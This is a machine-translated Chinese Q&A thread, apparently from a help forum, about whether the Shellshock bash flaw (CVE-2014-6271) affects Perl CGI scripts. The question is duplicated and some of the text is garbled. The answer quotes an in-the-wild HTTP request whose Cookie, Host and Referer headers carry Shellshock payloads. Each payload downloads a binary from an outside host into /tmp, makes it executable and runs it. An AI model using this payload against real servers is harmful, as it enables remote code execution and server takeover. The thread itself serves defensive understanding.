昨天报告了 CVE-2014-6271 问题,这是 BASH Shellshock 漏洞。我试图了解它是否会通过我的 Perl CGI 脚本影响我的服务器。
我的代码会受到恶意影响吗?我的代码需要做什么才能受到影响?我应该检查什么来验证这一点?
昨天报告了 CVE-2014-6271 问题,这是 BASH Shellshock 漏洞。我试图了解它是否会通过我的 Perl CGI 脚本影响我的服务器。
我的代码会受到恶意影响吗?我的代码需要做什么才能受到影响?我应该检查什么来验证这一点?
是的,如果您的 CGI 脚本产生子 shell,例如使用system()
oropen()
函数或反引号,它会影响 Perl。请参阅这篇出色的 Red Hat 博客文章。请注意,博客文章在任何重要方面都不是 Red Hat 特定的。
检查您的 Perl CGI 脚本以获取这些功能,但首先将 BASH 升级到固定版本!
您可以尝试将特制的字符串设置为 HTTP 服务器 als Referrer、Cookie、Host 或 Accept 标头,然后将其传递给(bash)CGI 脚本:
GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh。http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh ; .Host:().{.:;.};.wget.-O./tmp/besh. http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh ; .Referer:().{.:;.};.wget.-O./tmp/besh. http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh ; 。接受:。/
请参阅https://gist.github.com/anonymous/929d622f3b36b00c0be1作为在野外看到的恶意软件的真实示例。
如果您的 Perl 脚本不调用bash
(通过使用system
or open
),您应该是安全的。